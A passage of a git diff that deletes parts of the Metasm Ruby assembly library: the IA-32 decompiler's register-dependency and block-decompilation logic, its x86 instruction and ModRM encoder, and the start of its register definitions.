!= :void) # standard ABI - - deps_r[b] |= a.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - deps_w[b] - deps_w[b] |= w.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - } - stackoff = nil - blk.each_to_normal { |t| - t = dcmp.backtrace_target(t, blk.list.last.address) - next if not t = dcmp.c_parser.toplevel.symbol[t] - t.type = C::Function.new(C::BaseType.new(:int)) if not t.type.kind_of? C::Function # XXX this may seem a bit extreme, and yes, it is. - stackoff ||= Expression[dcmp.dasm.backtrace(:esp, blk.list.last.address, :snapshot_addr => blocks.first[0]).first, :-, :esp].reduce - - # things that are needed by the subfunction - if t.has_attribute('fastcall') - a = t.type.args.to_a - dep = [:ecx, :edx] - dep.shift if not a[0] or a[0].has_attribute('unused') - dep.pop if not a[1] or a[1].has_attribute('unused') - deps_subfunc[b] |= dep - end - t.type.args.to_a.each { |arg| - if reg = arg.has_attribute('register') - deps_subfunc[b] |= [reg.to_sym] - end - } - } - if stackoff # last block instr == subfunction call - deps_r[b] |= deps_subfunc[b] - deps_w[b] - deps_w[b] |= [:eax, :ecx, :edx] # standard ABI - end - } - - - bt = blocks.transpose - roots = bt[0] - bt[1].flatten # XXX jmp 1stblock ? - - # find regs read and never written (must have been set by caller and are part of the func ABI) - uninitialized = lambda { |b, r, done| - if not deps_r[b] - elsif deps_r[b].include?(r) - blk = dcmp.dasm.decoded[b].block - bw = [] - rdi = blk.list.find { |di| - a = di.backtrace_binding.values - w = [] - di.backtrace_binding.keys.each { |k| - case k - when ::Symbol; w |= [k] - else a |= Expression[k].externals # if dword [eax] <- 42, eax is read - end - } - a << :eax if di.opcode.name == 'ret' and (not func.type.kind_of? C::BaseType or func.type.type.name != :void) # standard ABI - - next true if (a.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - bw).include? r - bw |= w.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - false - } - if r == :eax and (rdi || blk.list.last).opcode.name == 'ret' - func.type.type = C::BaseType.new(:void) - false - elsif rdi and rdi.backtrace_binding[r] - false # mov al, 42 ; ret -> don't regarg eax - else - true - end - elsif deps_w[b].include?(r) - else - done << b - (deps_to[b] - done).find { |tb| uninitialized[tb, r, done] } - end - } - - regargs = [] - register_symbols.each { |r| - if roots.find { |root| uninitialized[root, r, []] } - regargs << r - end - } - - # TODO honor user-defined prototype if available (eg no, really, eax is not read in this function returning al) - regargs.sort_by { |r| r.to_s }.each { |r| - a = C::Variable.new(r.to_s, C::BaseType.new(:int, :unsigned)) - a.add_attribute("register(#{r})") - func.type.args << a - } - - # remove writes from a block if no following block read the value - dw = {} - deps_w.each { |b, deps| - dw[b] = deps.reject { |dep| - ret = true - done = [] - todo = deps_to[b].dup - while a = todo.pop - next if done.include? a - done << a - if not deps_r[a] or deps_r[a].include? dep - ret = false - break - elsif not deps_w[a].include? dep - todo.concat deps_to[a] - end - end - ret - } - } - - dw - end - - def decompile_blocks(dcmp, myblocks, deps, func, nextaddr = nil) - scope = func.initializer - func.type.args.each { |a| scope.symbol[a.name] = a } - stmts = scope.statements - blocks_toclean = myblocks.dup - func_entry = myblocks.first[0] - until myblocks.empty? - b, to = myblocks.shift - if l = dcmp.dasm.get_label_at(b) - stmts << C::Label.new(l) - end - - # list of assignments [[dest reg, expr assigned]] - ops = [] - # reg binding (reg => value, values.externals = regs at block start) - binding = {} - # Expr => CExpr - ce = lambda { |*e| dcmp.decompile_cexpr(Expression[Expression[*e].reduce], scope) } - # Expr => Expr.bind(binding) => CExpr - ceb = lambda { |*e| ce[Expression[*e].bind(binding)] } - - # dumps a CExprs that implements an assignment to a reg (uses ops[], patches op => [reg, nil]) - commit = lambda { - deps[b].map { |k| - [k, ops.rindex(ops.reverse.find { |r, v| r == k })] - }.sort_by { |k, i| i.to_i }.each { |k, i| - next if not i or not binding[k] - e = k - final = [] - ops[0..i].reverse_each { |r, v| - final << r if not v - e = Expression[e].bind(r => v).reduce if not final.include? r - } - ops[i][1] = nil - binding.delete k - stmts << ce[k, :'=', e] if k != e - } - } - - # returns an array to use as funcall arguments - get_func_args = lambda { |di, f| - # XXX see remarks in #finddeps - bt = dcmp.dasm.backtrace(:esp, di.address, :snapshot_addr => func_entry, :include_start => true) - stackoff = Expression[[bt, :+, @size/8], :-, :esp].bind(:esp => :frameptr).reduce rescue nil - args_todo = f.type.args.to_a.dup - args = [] - if f.has_attribute('fastcall') # XXX DRY - if a = args_todo.shift - mask = (1 << (8*dcmp.c_parser.sizeof(a))) - 1 - mask = 0 if a.has_attribute('unused') - args << Expression[:ecx, :&, mask] - end - if a = args_todo.shift - mask = (1 << (8*dcmp.c_parser.sizeof(a))) - 1 # char => dl - mask = 0 if a.has_attribute('unused') - args << Expression[:edx, :&, mask] - end - end - args_todo.each { |a_| - if r = a_.has_attribute_var('register') - args << Expression[r.to_sym] - elsif stackoff.kind_of? Integer - args << Indirection[[:frameptr, :+, stackoff], @size/8] - stackoff += [dcmp.sizeof(a_), @size/8].max - else - args << Expression[0] - end - } - - if f.type.varargs and f.type.args.last.type.pointer? and stackoff.kind_of? Integer - # check if last arg is a fmtstring - bt = dcmp.dasm.backtrace(args.last, di.address, :snapshot_addr => func_entry, :include_start => true) - if bt.length == 1 and s = dcmp.dasm.get_section_at(bt.first) - fmt = s[0].read(512) - fmt = fmt.unpack('v*').pack('C*') if dcmp.sizeof(f.type.args.last.type.untypedef.type) == 2 - if fmt.index(?\0) - fmt = fmt[0...fmt.index(?\0)] - fmt.gsub('%%', '').count('%').times { # XXX %.*s etc.. - args << Indirection[[:frameptr, :+, stackoff], @size/8] - stackoff += @size/8 - } - end - end - end - - args.map { |e| ceb[e] } - } - - # go ! - dcmp.dasm.decoded[b].block.list.each_with_index { |di, didx| - a = di.instruction.args - if di.opcode.props[:setip] and not di.opcode.props[:stopexec] - # conditional jump - commit[] - n = dcmp.backtrace_target(get_xrefs_x(dcmp.dasm, di).first, di.address) - if di.opcode.name =~ /^loop(.+)?/ - cx = C::CExpression[:'--', ceb[:ecx]] - cc = $1 ? C::CExpression[cx, :'&&', ceb[decode_cc_to_expr($1)]] : cx - else - cc = ceb[decode_cc_to_expr(di.opcode.name[1..-1])] - end - # XXX switch/indirect/multiple jmp - stmts << C::If.new(C::CExpression[cc], C::Goto.new(n)) - to.delete dcmp.dasm.normalize(n) - next - end - - if di.opcode.name == 'mov' - # mov cr0 etc - a1, a2 = di.instruction.args - case a1 - when Ia32::CtrlReg, Ia32::DbgReg, Ia32::TstReg, Ia32::SegReg - sz = a1.kind_of?(Ia32::SegReg) ? 16 : 32 - if not dcmp.c_parser.toplevel.symbol["intrinsic_set_#{a1}"] - dcmp.c_parser.parse("void intrinsic_set_#{a1}(__int#{sz});") - end - f = dcmp.c_parser.toplevel.symbol["intrinsic_set_#{a1}"] - a2 = a2.symbolic(di) - a2 = [a2, :&, 0xffff] if sz == 16 - stmts << C::CExpression.new(f, :funcall, [ceb[a2]], f.type.type) - next - end - case a2 - when Ia32::CtrlReg, Ia32::DbgReg, Ia32::TstReg, Ia32::SegReg - if not dcmp.c_parser.toplevel.symbol["intrinsic_get_#{a2}"] - sz = a2.kind_of?(Ia32::SegReg) ? 16 : 32 - dcmp.c_parser.parse("__int#{sz} intrinsic_get_#{a2}(void);") - end - f = dcmp.c_parser.toplevel.symbol["intrinsic_get_#{a2}"] - t = f.type.type - binding.delete a1.symbolic(di) - stmts << C::CExpression.new(ce[a1.symbolic(di)], :'=', C::CExpression.new(f, :funcall, [], t), t) - next - end - end - - case di.opcode.name - when 'ret' - commit[] - ret = nil - ret = C::CExpression[ceb[:eax]] unless func.type.type.kind_of? C::BaseType and func.type.type.name == :void - stmts << C::Return.new(ret) - when 'call' # :saveip - n = dcmp.backtrace_target(get_xrefs_x(dcmp.dasm, di).first, di.address) - args = [] - if f = dcmp.c_parser.toplevel.symbol[n] and f.type.kind_of? C::Function and f.type.args - args = get_func_args[di, f] - elsif defined? @dasm_func_default_off and o = @dasm_func_default_off[[dcmp.dasm, di.address]] and o.kind_of? Integer and o > @size/8 - f = C::Variable.new - f.type = C::Function.new(C::BaseType.new(:int), []) - ((o/(@size/8))-1).times { f.type.args << C::Variable.new(nil,C::BaseType.new(:int)) } - args = get_func_args[di, f] - end - commit[] - #next if not di.block.to_subfuncret - - if not n.kind_of? ::String or (f and not f.type.kind_of? C::Function) - # indirect funcall - fptr = ceb[n] - binding.delete n - proto = C::Function.new(C::BaseType.new(:int)) - proto = f.type if f and f.type.kind_of? C::Function - f = C::CExpression[[fptr], C::Pointer.new(proto)] - elsif not f - # internal functions are predeclared, so this one is extern - f = C::Variable.new - f.name = n - f.type = C::Function.new(C::BaseType.new(:int)) - if dcmp.recurse > 0 - dcmp.c_parser.toplevel.symbol[n] = f - dcmp.c_parser.toplevel.statements << C::Declaration.new(f) - end - end - commit[] - binding.delete :eax - e = C::CExpression[f, :funcall, args] - e = C::CExpression[ce[:eax], :'=', e, f.type.type] if deps[b].include? :eax and f.type.type != C::BaseType.new(:void) - stmts << e - when 'jmp' - #if di.comment.to_a.include? 'switch' - # n = di.instruction.args.first.symbolic(di) - # fptr = ceb[n] - # binding.delete n - # commit[] - # sw = C::Switch.new(fptr, C::Block.new(scope)) - # di.block.to_normal.to_a.each { |addr| - # addr = dcmp.dasm.normalize addr - # to.delete addr - # next if not l = dcmp.dasm.get_label_at(addr) - # sw.body.statements << C::Goto.new(l) - # } - # stmts << sw - a = di.instruction.args.first - if a.kind_of? Expression - elsif not a.respond_to? :symbolic - stmts << C::Asm.new(di.instruction.to_s, nil, [], [], nil, nil) - else - n = di.instruction.args.first.symbolic(di) - fptr = ceb[n] - binding.delete n - commit[] - if fptr.kind_of? C::CExpression and fptr.type.pointer? and fptr.type.untypedef.type.kind_of? C::Function - proto = fptr.type.untypedef.type - args = get_func_args[di, fptr.type] - else - proto = C::Function.new(C::BaseType.new(:void)) - fptr = C::CExpression[[fptr], C::Pointer.new(proto)] - args = [] - end - ret = C::Return.new(C::CExpression[fptr, :funcall, args]) - class << ret ; attr_accessor :from_instr end - ret.from_instr = di - stmts << ret - to = [] - end - when 'lgdt' - if not dcmp.c_parser.toplevel.struct['segment_descriptor'] - dcmp.c_parser.parse('struct segment_descriptor { __int16 limit; __int16 base0_16; __int8 base16_24; __int8 flags1; __int8 flags2_limit_16_20; __int8 base24_32; };') - dcmp.c_parser.parse('struct segment_table { __int16 size; struct segment_descriptor *table; } __attribute__((pack(2)));') - end - if not dcmp.c_parser.toplevel.symbol['intrinsic_lgdt'] - dcmp.c_parser.parse('void intrinsic_lgdt(struct segment_table *);') - end - # need a way to transform arg => :frameptr+12 - arg = di.backtrace_binding.keys.grep(Indirection).first.pointer - stmts << C::CExpression.new(dcmp.c_parser.toplevel.symbol['intrinsic_lgdt'], :funcall, [ceb[arg]], C::BaseType.new(:void)) - when 'lidt' - if not dcmp.c_parser.toplevel.struct['interrupt_descriptor'] - dcmp.c_parser.parse('struct interrupt_descriptor { __int16 offset0_16; __int16 segment; __int16 flags; __int16 offset16_32; };') - dcmp.c_parser.parse('struct interrupt_table { __int16 size; struct interrupt_descriptor *table; } __attribute__((pack(2)));') - end - if not dcmp.c_parser.toplevel.symbol['intrinsic_lidt'] - dcmp.c_parser.parse('void intrinsic_lidt(struct interrupt_table *);') - end - arg = di.backtrace_binding.keys.grep(Indirection).first.pointer - stmts << C::CExpression.new(dcmp.c_parser.toplevel.symbol['intrinsic_lidt'], :funcall, [ceb[arg]], C::BaseType.new(:void)) - when 'ltr', 'lldt' - if not dcmp.c_parser.toplevel.symbol["intrinsic_#{di.opcode.name}"] - dcmp.c_parser.parse("void intrinsic_#{di.opcode.name}(int);") - end - arg = di.backtrace_binding.keys.first - stmts << C::CExpression.new(dcmp.c_parser.toplevel.symbol["intrinsic_#{di.opcode.name}"], :funcall, [ceb[arg]], C::BaseType.new(:void)) - when 'out' - sz = di.instruction.args.find { |a_| a_.kind_of? Ia32::Reg and a_.val == 0 }.sz - if not dcmp.c_parser.toplevel.symbol["intrinsic_out#{sz}"] - dcmp.c_parser.parse("void intrinsic_out#{sz}(unsigned short port, __int#{sz} value);") - end - port = di.instruction.args.grep(Expression).first || :edx - stmts << C::CExpression.new(dcmp.c_parser.toplevel.symbol["intrinsic_out#{sz}"], :funcall, [ceb[port], ceb[:eax]], C::BaseType.new(:void)) - when 'in' - sz = di.instruction.args.find { |a_| a_.kind_of? Ia32::Reg and a_.val == 0 }.sz - if not dcmp.c_parser.toplevel.symbol["intrinsic_in#{sz}"] - dcmp.c_parser.parse("__int#{sz} intrinsic_in#{sz}(unsigned short port);") - end - port = di.instruction.args.grep(Expression).first || :edx - f = dcmp.c_parser.toplevel.symbol["intrinsic_in#{sz}"] - binding.delete :eax - stmts << C::CExpression.new(ce[:eax], :'=', C::CExpression.new(f, :funcall, [ceb[port]], f.type.type), f.type.type) - when 'sti', 'cli' - stmts << C::Asm.new(di.instruction.to_s, nil, [], [], nil, nil) - when /^(mov|sto|lod)s([bwdq])/ - op, sz = $1, $2 - commit[] - sz = { 'b' => 1, 'w' => 2, 'd' => 4, 'q' => 8 }[sz] - pt = C::Pointer.new(C::BaseType.new("__int#{sz*8}".to_sym)) - - blk = C::Block.new(scope) - case op - when 'mov' - blk.statements << C::CExpression[[:*, [[ceb[:edi]], pt]], :'=', [:*, [[ceb[:esi]], pt]]] - blk.statements << C::CExpression[ceb[:edi], :'=', [ceb[:edi], :+, [sz]]] - blk.statements << C::CExpression[ceb[:esi], :'=', [ceb[:esi], :+, [sz]]] - when 'sto' - blk.statements << C::CExpression[[:*, [[ceb[:edi]], pt]], :'=', ceb[:eax]] - blk.statements << C::CExpression[ceb[:edi], :'=', [ceb[:edi], :+, [sz]]] - when 'lod' - blk.statements << C::CExpression[ceb[:eax], :'=', [:*, [[ceb[:esi]], pt]]] - blk.statements << C::CExpression[ceb[:esi], :'=', [ceb[:esi], :+, [sz]]] - #when 'sca' - #when 'cmp' - end - - case (di.instruction.prefix || {})[:rep] - when nil - stmts.concat blk.statements - when 'rep' - blk.statements << C::CExpression[ceb[:ecx], :'=', [ceb[:ecx], :-, [1]]] - stmts << C::While.new(C::CExpression[ceb[:ecx]], blk) - #when 'repz' # sca/cmp only - #when 'repnz' - end - next - else - bd = get_fwdemu_binding(di) - if di.backtrace_binding[:incomplete_binding] - commit[] - stmts << C::Asm.new(di.instruction.to_s, nil, nil, nil, nil, nil) - else - update = {} - bd.each { |k, v| - if k.kind_of? ::Symbol and not deps[b].include? k - ops << [k, v] - update[k] = Expression[Expression[v].bind(binding).reduce] - else - stmts << ceb[k, :'=', v] - stmts.pop if stmts.last.kind_of? C::Variable # [:eflag_s, :=, :unknown].reduce - end - } - binding.update update - end - end - } - commit[] - - case to.length - when 0 - if not myblocks.empty? and not %w[ret jmp].include? dcmp.dasm.decoded[b].block.list.last.instruction.opname - puts " block #{Expression[b]} has no to and don't end in ret" - end - when 1 - if (myblocks.empty? ? nextaddr != to[0] : myblocks.first.first != to[0]) - stmts << C::Goto.new(dcmp.dasm.auto_label_at(to[0], 'unknown_goto')) - end - else - puts " block #{Expression[b]} with multiple to" - end - end - - # cleanup di.bt_binding (we set :frameptr etc in those, this may confuse the dasm) - blocks_toclean.each { |b_, to_| - dcmp.dasm.decoded[b_].block.list.each { |di| - di.backtrace_binding = nil - } - } - end - - def decompile_check_abi(dcmp, entry, func) - a = func.type.args || [] - a.delete_if { |arg| arg.has_attribute_var('register') and arg.has_attribute('unused') } - ra = a.map { |arg| arg.has_attribute_var('register') }.compact - if (a.length == 1 and ra == ['ecx']) or (a.length >= 2 and ra.sort == ['ecx', 'edx']) - func.add_attribute 'fastcall' - # reorder args - ecx = a.find { |arg| arg.has_attribute_var('register') == 'ecx' } - edx = a.find { |arg| arg.has_attribute_var('register') == 'edx' } - a.insert(0, a.delete(ecx)) - a.insert(1, a.delete(edx)) if edx - end - - if not f = dcmp.dasm.function[entry] or not f.return_address - #func.add_attribute 'noreturn' - else - adj = f.return_address.map { |ra_| dcmp.dasm.backtrace(:esp, ra_, :include_start => true, :stopaddr => entry) }.flatten.uniq - if adj.length == 1 and so = Expression[adj.first, :-, :esp].reduce and so.kind_of? ::Integer - argsz = a.map { |fa| - next if not fa.stackoff - (fa.stackoff + [dcmp.sizeof(fa), dcmp.c_parser.typesize[:ptr]].max-1) / dcmp.c_parser.typesize[:ptr] - }.compact.max.to_i - so /= dcmp.dasm.cpu.size/8 - so -= 1 - if so > argsz - aso = a.empty? ? 0 : a.last.stackoff.to_i + dcmp.c_parser.typesize[:ptr] - (so-argsz).times { - a << C::Variable.new(dcmp.stackoff_to_varname(aso), C::BaseType.new(:int)) - a.last.add_attribute('unused') - aso += dcmp.sizeof(a.last) - } - argsz = so - end - case so - when 0 - when argsz - func.add_attribute 'stdcall' if not func.has_attribute('fastcall') - else - func.add_attribute "stackoff:#{so*dcmp.dasm.cpu.size/8}" - end - else - func.add_attribute "breakstack:#{adj.inspect}" - end - end - end -end -end diff --git a/lib/metasm/metasm/cpu/ia32/encode.rb b/lib/metasm/metasm/cpu/ia32/encode.rb deleted file mode 100644 index bda4feb6b9..0000000000 --- a/lib/metasm/metasm/cpu/ia32/encode.rb +++ /dev/null @@ -1,320 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/ia32/opcodes' -require 'metasm/encode' - -module Metasm -class Ia32 - class InvalidModRM < Exception ; end - class ModRM - # returns the byte representing the register encoded as modrm - # works with Reg/SimdReg - def self.encode_reg(reg, mregval = 0) - 0xc0 | (mregval << 3) | reg.val - end - - # The argument is an integer representing the 'reg' field of the mrm - # - # caller is responsible for setting the adsz - # returns an array, 1 element per possible immediate size (for un-reduce()able Expression) - def encode(reg = 0, endianness = :little) - reg = reg.val if reg.kind_of? Argument - case @adsz - when 16; encode16(reg, endianness) - when 32; encode32(reg, endianness) - end - end - - private - def encode16(reg, endianness) - if not b - # imm only - return [EncodedData.new << (6 | (reg << 3)) << @imm.encode(:u16, endianness)] - end - - imm = @imm.reduce if self.imm - imm = nil if imm == 0 - ret = EncodedData.new - ret << - case [@b.val, (@i.val if i)] - when [3, 6], [6, 3]; 0 - when [3, 7], [7, 3]; 1 - when [5, 6], [6, 5]; 2 - when [5, 7], [7, 5]; 3 - when [6, nil]; 4 - when [7, nil]; 5 - when [5, nil] - imm ||= 0 - 6 - when [3, nil]; 7 - else raise InvalidModRM, 'invalid modrm16' - end - - # add bits in the first octet of ret.data (1.9 compatibility layer) - or_bits = lambda { |v| # rape me - if ret.data[0].kind_of? Integer - ret.data[0] |= v - else - ret.data[0] = (ret.data[0].unpack('C').first | v).chr - end - } - - or_bits[reg << 3] - - if imm - case Expression.in_range?(imm, :i8) - when true - or_bits[1 << 6] - [ret << Expression.encode_imm(imm, :i8, endianness)] - when false - or_bits[2 << 6] - [ret << Expression.encode_imm(imm, :a16, endianness)] - when nil - rets = ret.dup - or_bits[1<<6] - ret << @imm.encode(:i8, endianness) - ret, rets = rets, ret # or_bits uses ret - or_bits[2<<6] - ret << @imm.encode(:a16, endianness) - [ret, rets] - end - else - [ret] - end - end - - def encode32(reg, endianness) - # 0 => [ [0 ], [1 ], [2 ], [3 ], [:sib ], [:i32 ], [6 ], [7 ] ], \ - # 1 => [ [0, :i8 ], [1, :i8 ], [2, :i8 ], [3, :i8 ], [:sib, :i8 ], [5, :i8 ], [6, :i8 ], [7, :i8 ] ], \ - # 2 => [ [0, :i32], [1, :i32], [2, :i32], [3, :i32], [:sib, :i32], [5, :i32], [6, :i32], [7, :i32] ] - # - # b => 0 1 2 3 4 5+i|i 6 7 - # i => 0 1 2 3 nil 5 6 7 - - ret = EncodedData.new << (reg << 3) - - # add bits in the first octet of ret.data (1.9 compatibility layer) - or_bits = lambda { |v| # rape me - if ret.data[0].kind_of? Integer - ret.data[0] |= v - else - ret.data[0] = (ret.data[0].unpack('C').first | v).chr - end - } - - if not self.b and not self.i - or_bits[5] - [ret << @imm.encode(:a32, endianness)] - - elsif not self.b and self.s != 1 - # sib with no b - raise EncodeError, "Invalid ModRM #{self}" if @i.val == 4 - or_bits[4] - s = {8=>3, 4=>2, 2=>1}[@s] - imm = self.imm || Expression[0] - fu = (s << 6) | (@i.val << 3) | 5 - fu = fu.chr if s >= 2 # rb1.9 encoding fix - [ret << fu << imm.encode(:a32, endianness)] - else - imm = @imm.reduce if self.imm - imm = nil if imm == 0 - - if not self.i or (not self.b and self.s == 1) - # no sib byte (except for [esp]) - b = self.b || self.i - - or_bits[b.val] - ret << 0x24 if b.val == 4 - else - # sib - or_bits[4] - - i, b = @i, @b - b, i = i, b if @s == 1 and (i.val == 4 or b.val == 5) - - raise EncodeError, "Invalid ModRM #{self}" if i.val == 4 - - s = {8=>3, 4=>2, 2=>1, 1=>0}[@s] - fu = (s << 6) | (i.val << 3) | b.val - fu = fu.chr if s >= 2 # rb1.9 encoding fix - ret << fu - end - - imm ||= 0 if b.val == 5 - if imm - case Expression.in_range?(imm, :i8) - when true - or_bits[1<<6] - [ret << Expression.encode_imm(imm, :i8, endianness)] - when false - or_bits[2<<6] - [ret << Expression.encode_imm(imm, :a32, endianness)] - when nil - rets = ret.dup - or_bits[1<<6] - ret << @imm.encode(:i8, endianness) - rets, ret = ret, rets # or_bits[] modifies ret directly - or_bits[2<<6] - ret << @imm.encode(:a32, endianness) - [ret, rets] - end - else - [ret] - end - end - end - end - - class Farptr - def encode(endianness, atype) - @addr.encode(atype, endianness) << @seg.encode(:u16, endianness) - end - end - - # returns all forms of the encoding of instruction i using opcode op - # program may be used to create a new label for relative jump/call - def encode_instr_op(program, i, op) - base = op.bin.dup - oi = op.args.zip(i.args) - set_field = lambda { |f, v| - v ||= 0 # ST => ST(0) - fld = op.fields[f] - base[fld[0]] |= v << fld[1] - } - - size = i.prefix[:sz] || @size - - # - # handle prefixes and bit fields - # - pfx = i.prefix.map { |k, v| - case k - when :jmp; {:jmp => 0x3e, :nojmp => 0x2e}[v] - when :lock; 0xf0 - when :rep; {'repnz' => 0xf2, 'repz' => 0xf3, 'rep' => 0xf2}[v] - when :jmphint; {'hintjmp' => 0x3e, 'hintnojmp' => 0x2e}[v] - when :seg; [0x26, 0x2E, 0x36, 0x3E, 0x64, 0x65][v.val] - end - }.compact.pack 'C*' - - if op.name == 'movsx' or op.name == 'movzx' - pfx << 0x66 if size == 48-i.args[0].sz - elsif op.name == 'crc32' - pfx << 0x66 if size == 48-i.args[1].sz - else - opsz = op.props[:argsz] - oi.each { |oa, ia| - case oa - when :reg, :reg_eax, :modrm, :mrm_imm - raise EncodeError, "Incompatible arg size in #{i}" if ia.sz and opsz and opsz != ia.sz - opsz = ia.sz - end - } - pfx << 0x66 if (op.props[:opsz] and size == 48 - op.props[:opsz]) or - (not op.props[:argsz] and opsz and size == 48 - opsz) - opsz ||= op.props[:opsz] - end - opsz ||= size - - if op.props[:adsz] and size == 48 - op.props[:adsz] - pfx << 0x67 - adsz = 48 - size - end - adsz ||= size - # addrsize override / segment override - if mrm = i.args.grep(ModRM).first - if not op.props[:adsz] and ((mrm.b and mrm.b.sz == 48 - adsz) or (mrm.i and mrm.i.sz == 48 - adsz)) - pfx << 0x67 - adsz = 48 - adsz - end - pfx << [0x26, 0x2E, 0x36, 0x3E, 0x64, 0x65][mrm.seg.val] if mrm.seg - end - - - # - # encode embedded arguments - # - postponed = [] - oi.each { |oa, ia| - case oa - when :reg, :seg3, :seg3A, :seg2, :seg2A, :eeec, :eeed, :eeet, :regfp, :regmmx, :regxmm, :regymm - # field arg - set_field[oa, ia.val] - pfx << 0x66 if oa == :regmmx and op.props[:xmmx] and ia.sz == 128 - when :vexvreg, :vexvxmm, :vexvymm - set_field[:vex_vvvv, ia.val ^ 0xf] - when :imm_val1, :imm_val3, :reg_cl, :reg_eax, :reg_dx, :regfp0 - # implicit - else - postponed << [oa, ia] - end - } - - if !(op.args & [:modrm, :modrmmmx, :modrmxmm, :modrmymm]).empty? - # reg field of modrm - regval = (base[-1] >> 3) & 7 - base.pop - end - - # convert label name for jmp/call/loop to relative offset - if op.props[:setip] and op.name[0, 3] != 'ret' and i.args.first.kind_of? Expression - postlabel = program.new_label('post'+op.name) - target = postponed.first[1] - target = target.rexpr if target.kind_of? Expression and target.op == :+ and not target.lexpr - postponed.first[1] = Expression[target, :-, postlabel] - end - - pfx << op.props[:needpfx] if op.props[:needpfx] - - # - # append other arguments - # - ret = EncodedData.new(pfx + base.pack('C*')) - - postponed.each { |oa, ia| - case oa - when :farptr; ed = ia.encode(@endianness, "a#{opsz}".to_sym) - when :modrm, :modrmmmx, :modrmxmm, :modrmymm - if ia.kind_of? ModRM - ed = ia.encode(regval, @endianness) - if ed.kind_of?(::Array) - if ed.length > 1 - # we know that no opcode can have more than 1 modrm - ary = [] - ed.each { |m| - ary << (ret.dup << m) - } - ret = ary - next - else - ed = ed.first - end - end - else - ed = ModRM.encode_reg(ia, regval) - end - when :mrm_imm; ed = ia.imm.encode("a#{adsz}".to_sym, @endianness) - when :i8, :u8, :u16; ed = ia.encode(oa, @endianness) - when :i; ed = ia.encode("a#{opsz}".to_sym, @endianness) - when :i4xmm, :i4ymm; ed = ia.val << 4 # u8 - else raise SyntaxError, "Internal error: want to encode field #{oa.inspect} as arg in #{i}" - end - - if ret.kind_of?(::Array) - ret.each { |e| e << ed } - else - ret << ed - end - } - - # we know that no opcode with setip accept both modrm and immediate arg, so ret is not an ::Array - ret.add_export(postlabel, ret.virtsize) if postlabel - - ret - end -end -end diff --git a/lib/metasm/metasm/cpu/ia32/main.rb b/lib/metasm/metasm/cpu/ia32/main.rb deleted file mode 100644 index ac2fc115ba..0000000000 --- a/lib/metasm/metasm/cpu/ia32/main.rb +++ /dev/null @@ -1,281 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' - -module Metasm - -# The ia32 aka x86 CPU -# currently limited to 16 and 32bit modes -class Ia32 < CPU - - # some ruby magic to declare classes with index -> name association (registers) - class Argument - class << self - # for subclasses - attr_accessor :i_to_s, :s_to_i - end - - private - # index -> name, name -> index - def self.simple_map(a) - # { 1 => 'dr1' } - @i_to_s = Hash[*a.flatten] - # { 'dr1' => 1 } - @s_to_i = @i_to_s.invert - - class_eval { - attr_accessor :val - def initialize(v) - raise Exception, "invalid #{self.class} #{v}" unless self.class.i_to_s[v] - @val = v - end - - def ==(o) - self.class == o.class and val == o.val - end - - def self.from_str(s) new(@s_to_i[s]) end - } - end - - # size -> (index -> name), name -> [index, size] - def self.double_map(h) - # { 32 => { 1 => 'ecx' } } - @i_to_s = h - # { 'ecx' => [1, 32] } - @s_to_i = {} ; @i_to_s.each { |sz, hh| hh.each_with_index { |r, i| @s_to_i[r] = [i, sz] } } - - class_eval { - attr_accessor :val, :sz - def initialize(v, sz) - raise Exception, "invalid #{self.class} #{sz}/#{v}" unless self.class.i_to_s[sz] and self.class.i_to_s[sz][v] - @val = v - @sz = sz - end - - def ==(o) - self.class == o.class and val == o.val and sz == o.sz - end - - def self.from_str(s) - raise "Bad #{name} #{s.inspect}" if not x = @s_to_i[s] - new(*x) - end - } - end - end - - - # segment register: es, cs, ss, ds, fs, gs and the theoretical segr6/7 - class SegReg < Argument - simple_map((0..7).zip(%w(es cs ss ds fs gs segr6 segr7))) - end - - # debug register (dr0..dr3, dr6, dr7), and theoretical dr4/5 - class DbgReg < Argument - simple_map((0..7).map { |i| [i, "dr#{i}"] }) - end - - # control register (cr0, cr2, cr3, cr4) and theoretical cr1/5/6/7 - class CtrlReg < Argument - simple_map((0..7).map { |i| [i, "cr#{i}"] }) - end - - # test registers (tr0..tr7) (undocumented) - class TstReg < Argument - simple_map((0..7).map { |i| [i, "tr#{i}"] }) - end - - # floating point registers - class FpReg < Argument - simple_map((0..7).map { |i| [i, "ST(#{i})"] } << [nil, 'ST']) - end - - # Single Instr Multiple Data register (mm0..mm7, xmm0..xmm7, ymm0..ymm7) - class SimdReg < Argument - double_map 64 => (0..7).map { |n| "mm#{n}" }, - 128 => (0..7).map { |n| "xmm#{n}" }, - 256 => (0..7).map { |n| "ymm#{n}" } - def symbolic(di=nil) ; to_s.to_sym end - end - - # general purpose registers, all sizes - class Reg < Argument - double_map 8 => %w{ al cl dl bl ah ch dh bh}, - 16 => %w{ ax cx dx bx sp bp si di}, - 32 => %w{eax ecx edx ebx esp ebp esi edi} - - Sym = @i_to_s[32].map { |s| s.to_sym } - - # returns a symbolic representation of the register: - # eax => :eax - # cx => :ecx & 0xffff - # ah => (:eax >> 8) & 0xff - def symbolic(di=nil) - s = Sym[@val] - if @sz == 8 and to_s[-1] == ?h - Expression[[Sym[@val-4], :>>, 8], :&, 0xff] - elsif @sz == 8 - Expression[s, :&, 0xff] - elsif @sz == 16 - Expression[s, :&, 0xffff] - else - s - end - end - - # checks if two registers have bits in common - def share?(other) - other.val % (other.sz >> 1) == @val % (@sz >> 1) and (other.sz != @sz or @sz != 8 or other.val == @val) - end - end - - # a far pointer - # an immediate (numeric) pointer and an immediate segment selector - class Farptr < Argument - attr_accessor :seg, :addr - def initialize(seg, addr) - @seg, @addr = seg, addr - end - - def ==(o) - self.class == o.class and seg == o.seg and addr == o.addr - end - end - - # ModRM represents indirections in x86 (eg dword ptr [eax+4*ebx+12h]) - class ModRM < Argument - # valid combinaisons for a modrm - # ints are reg indexes, symbols are immediates, except :sib - Sum = { - 16 => { - 0 => [ [3, 6], [3, 7], [5, 6], [5, 7], [6], 